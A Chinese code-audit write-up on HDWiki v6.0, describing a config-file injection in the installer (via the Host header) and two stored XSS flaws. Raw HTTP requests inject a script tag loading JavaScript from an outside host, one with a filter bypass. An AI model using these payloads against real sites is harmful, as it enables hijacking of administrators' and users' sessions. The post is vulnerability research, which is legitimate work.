i春秋核心白帽:yanzm

0×00 背景

最近拿到一个源码素材于是对这个源码进行分析发现了不少漏洞本篇先将一些漏洞进行分析下一篇再进行GetShell方法的分析期待和师傅们的交流。

0×01 漏洞分析

配置文件写入

0×00 相关环境

源码信息HDWiki-v6.0UTF8-20170209

问题文件 \HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php

漏洞类型配置文件写入导致代码执行

站点地址http://kaiyuan.hudong.com/

0×01 漏洞分析

在文件\HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php的第291-310行中发现如下代码块其中传入的数据库连接等信息没有经过安全处理直接拼接然后使用fwrite函数将拼接后的内容写入到配置文件中,因此此处存在代码执行漏洞。

通过反向跟踪$configfile,$site_url的数据知道写入文件的名称是config.php,还有$site_url的参数是获取Host头的值。

在\HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php

0×02 漏洞复现

可以写入代码的位置有dbhost,dbuser,dbpassword,dbname,table_prefix,Host这里我直接将代码植入到Host中。进行如下请求将恶意代码写入到配置文件中由于配置文件没有设置访问权限所以写入后可以直接前台访问。

写入后访问config.php 可以直接前台进行代码执行。

XSS注入

0×00 相关环境

源码信息HDWiki-v6.0UTF8-20170209

问题文件 \hdwiki\control\user.php

漏洞类型存储型XSS注入

站点地址http://kaiyuan.hudong.com/

0×01 漏洞分析

在文件\hdwiki\control\user.php中的第50-56行中发现如下代码块通过分析和数据跟踪发现$email存在安全问题在第54行中接收email的值然后进行引号的转义处理后进入到了第56行中的docheck中。

跟入docheck方法在文件\hdwiki\control\user.php中的第199行中使用docheckemail方法对$email进行检测。

跟入docheckemail方法,在文件\hdwiki\control\user.php中的第254-271行中发现该方法的代码块通过分析该方法的可以知道并没有对HTML或者JS代码/字符进行安全处理所以此处存在存储型XSS。

0×02 漏洞复现

由于邮箱的长度有限制但是可以使用短域名突破。

POST /index.php?user-register HTTP/1.1

Host: 127.0.0.1:8081

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: [url]http://127.0.0.1:8081/index.php?user-register[/url]

Content-Type: application/x-www-form-urlencoded

Content-Length: 143

Cookie: hd_sid=2ny184; hd_auth=7eecQnwVHW%2FA9biNTw4cASoUikKxWJr4gHY9sz1QoHE50i5%2Bf92UQu6AOs9y1wk0RIqYiuWGCV2mX32jUwwn; PHPSESSID=14uuv4iobaociig610qksae2v0

Connection: close

Upgrade-Insecure-Requests: 1

username=Thinking&password=Thinking&repassword=Thinking&email=<script src=http://mhz.pw/G></script>&agree=on&fromuid=&submit=%E6%8F%90%E4%BA%A4

当管理员登录后台进行用户管理便会触发JS代码。

1×00 相关环境

源码信息HDWiki-v6.0UTF8-20170209

问题文件\hdwiki\control\doc.php

漏洞类型存储型XSS注入

站点地址http://kaiyuan.hudong.com/

1×01 漏洞分析

在文件\hdwiki\control\doc.php中的第413行中发现doedit方法在对词条进行编辑的时候过滤危险字符的函数可以被绕过导致可以直接引入前端代码造成存储型XSS在文件的第534行中使用了stripscript方法对传入的内容进行安全处理。

跟入stripscript在\hdwiki\lib\string.class.php文件的第227行中发现该方法分析该方法可以知道该方法是将符合$pregfind的正则内容替换为空因此可以通过如下方法进行绕过。

绕过方法

1×02 漏洞复现

首先注册一个用户再创建一个词条然后对词条进行编辑也就是在content参数中植入js代码绕过方法就是在最后一个script后加上空格然后提交。

POST /index.php?doc-edit HTTP/1.1

Host: 127.0.0.1:8081

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: [url]http://127.0.0.1:8081/index.php?doc-edit-59[/url]

Content-Type: multipart/form-data; boundary=—————————114782935826962

Content-Length: 1332

Cookie: PHPSESSID=14uuv4iobaociig610qksae2v0; hd_sid=HbPBd8; hd_auth=0737U4o9dWt5bzx9M%2BcQJZYvE1vO7shf%2Bej%2BpJtLa4eIXyCXC4r7pEHAk1KUQg%2Fh3G8yJtxK1dhL1FuFp1crdw

Connection: close

Upgrade-Insecure-Requests: 1

—————————–114782935826962

Content-Disposition: form-data; name=”did”

59

—————————–114782935826962

Content-Disposition: form-data; name=”section_id”

—————————–114782935826962

Content-Disposition: form-data; name=”create_submit”

1

—————————–114782935826962

Content-Disposition: form-data; name=”title”

Thinking test buibui

—————————–114782935826962

Content-Disposition: form-data; name=”category”

0

—————————–114782935826962

Content-Disposition: form-data; name=”_token”

y5IIiyfoKxH5dcU90S38sG2STGfHqmkF

—————————–114782935826962

Content-Disposition: form-data; name=”summary”

xss

—————————–114782935826962

Content-Disposition: form-data; name=”content”

<p>hello world!<br /><br /></p><script src=http://mhz.pw/G></script >

—————————–114782935826962

Content-Disposition: form-data; name=”tags”

A

—————————–114782935826962

Content-Disposition: form-data; name=”code”

—————————–114782935826962

Content-Disposition: form-data; name=”editreason[]“

A

—————————–114782935826962

Content-Disposition: form-data; name=”publishsubmit”

å‘布

—————————–114782935826962–

当用户或者管理员访问这个词条后就可以执行JS脚本了。

0×02 小小总结

本篇只分析了发现的部分漏洞该源码的问题不少感兴趣的伙伴们可以自行挖掘试试至于GetShell的方法有好几个后篇再和大家分享吧期待和师傅们的交流讨论师傅们有更好的思路期待能一起交流讨论但是如果是hc请走开勿扰交流学习可联系我。>>>点击跳转

代码审计| HDWiki 漏洞(一)的更多相关文章

  1. 关于PHP代码审计和漏洞挖掘的一点思考

    这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出. PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂 ...

  2. insert后面value可控的盲注(第一次代码审计出漏洞)

    这个叫诗龙的cms真的很感谢他的编写人,全站注入~~一些特别白痴的就不说了,这里有一个相对有点意思的 很明显的注入,然后去直接利用报错注入想爆出数据结果发现没有开报错模式. 报错注入http://ww ...

  3. 高级PHP应用程序漏洞审核技术

    前言 PHP是一种被广泛使用的脚本语言,尤其适合于web开发.具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应 用,包括Yahoo.sina.163.sohu等大型门户 ...

  4. 禅知Pro 1.6 前台任意文件读取 | 代码审计

    禅知 Pro v1.6 前台任意文件读取 | 代码审计 蝉知专业版是基于蝉知企业门户系统开源版开发,继承了蝉知本身的优秀功能.相对于蝉知开源版增强了商品的属性自定义.属性价格定制.物流跟踪.微信支付. ...

  5. aspx代码审计-2

    今天和大家分享一下aspx网站的代码审计,漏洞类型为:未授权访问和任意文件下载. 本文作者:i春秋签约作家——非主流 今天看的源码文件就不共享给大家了,本文只作学习只用. 还是先看我们的文件夹目录和d ...

  6. aspx代码审计-1

    今天和大家分享一下aspx网站的代码审计,漏洞类型就是SQL注入和cookie欺骗. 本文作者:i春秋签约作家——非主流 今天看的cms名字叫做:XX星员工请假系统 我们首先看一下网站的目录结构: 其 ...

  7. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

  8. 五十:代码审计-PHP无框架项目SQL注入挖掘技巧

    代码审计教学计划: 审计项目漏洞Demo->审计思路->完整源码框架->验证并利用漏洞 代码审计教学内容: PHP,JAVA网站应用,引入框架类开发源码,相关审计工具及插件使用 代码 ...

  9. PHP审计之PHP反序列化漏洞

    PHP审计之PHP反序列化漏洞 前言 一直不懂,PHP反序列化感觉上比Java的反序列化难上不少.但归根结底还是serialize和unserialize中的一些问题. 在此不做多的介绍. 魔术方法 ...

随机推荐

  1. python ui学习过程,使用pyqt5实现

    首先安装pyqt5的包,然后打开notebook就可以编写了.当然这样编写,也可以用designer进行. 它是pyqt5-tools的一个exe软件,\Anaconda3\Lib\site-pack ...

  2. 使用unidac 在linux 上无驱动直接访问MS SQL SERVER

    随着delphi 10.2 开始了对Linux 的重新支持.devart 也迅速的发布了unidac 7.0, 最大的特性就是支持linux和MongoDB. 并有了其他更新: In this rel ...

  3. MyBatis中实现多表查询

    如果查询的数据量大,推荐使用N+1次查询.数据量少使用联合查询... 一. 1.Mybatis是实现多表查询方式 1.1  业务装配:对两个表编写单表查询语句,在业务(Service)把查询的两表结果 ...

  4. 2018.11.05 bzoj2143: 飞飞侠(最短路)

    传送门 最短路好题. 考虑对每个二维坐标建立一个高度属性. 这样每次如果在点(i,j,0)(i,j,0)(i,j,0)只能选择花费bi,jb_{i,j}bi,j​跳向(i,j,ai,j)(i,j,a_ ...

  5. 点击文字弹出一个DIV层窗口代码

    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <hea ...

  6. 将excel中的数据填入word模板中-VBA

    首先将word模板中需要填写excel中数据的空白处用自己独特的字符串标记,比如   数据001  什么的.如下图: 这样,就可以用vba搜寻这些自己独特的标记来根据excel内容填充word了. 第 ...

  7. IntelliJ IDEA 2017版 spring-boot 2.0.3 部署war包项目和jar包项目

    1.建立项目 Java Controller package com.springboot.jsp.controller; import org.springframework.stereotype. ...

  8. fastjson 错误解决方案详情 com.alibaba.fastjson.JSONException: syntax error, expect {, actual EOF, pos 1410

    原因: 前端传递的数组过于复杂,倒是出现这种问题,前端采用vue axios,发送请求,后端java接收代码,实现前后端分离 后端就收fastjson接收json,进行业务处理,后端Controlle ...

  9. 20145232 韩文浩 《Java程序设计》第3周学习总结

    教材学习内容总结 在第三章中,知道了Java可区分为基本类型和类类型两大类型系统,其中类类型也称为参考类型.在这一周主要学习了类类型. 对象(Object):存在的具体实体,具有明确的状态和行为 类( ...

  10. Forward团队-爬虫豆瓣top250项目-需求分析

    一. 需求:1.爬取豆瓣电影top250. 2.获取电影名称,排名,分数,简介,导演,演员. 3.将爬取到的数据保存,以便随时查看. 3.可以将获取到的数据展示给用户. 二. 参考: 豆瓣api参考资 ...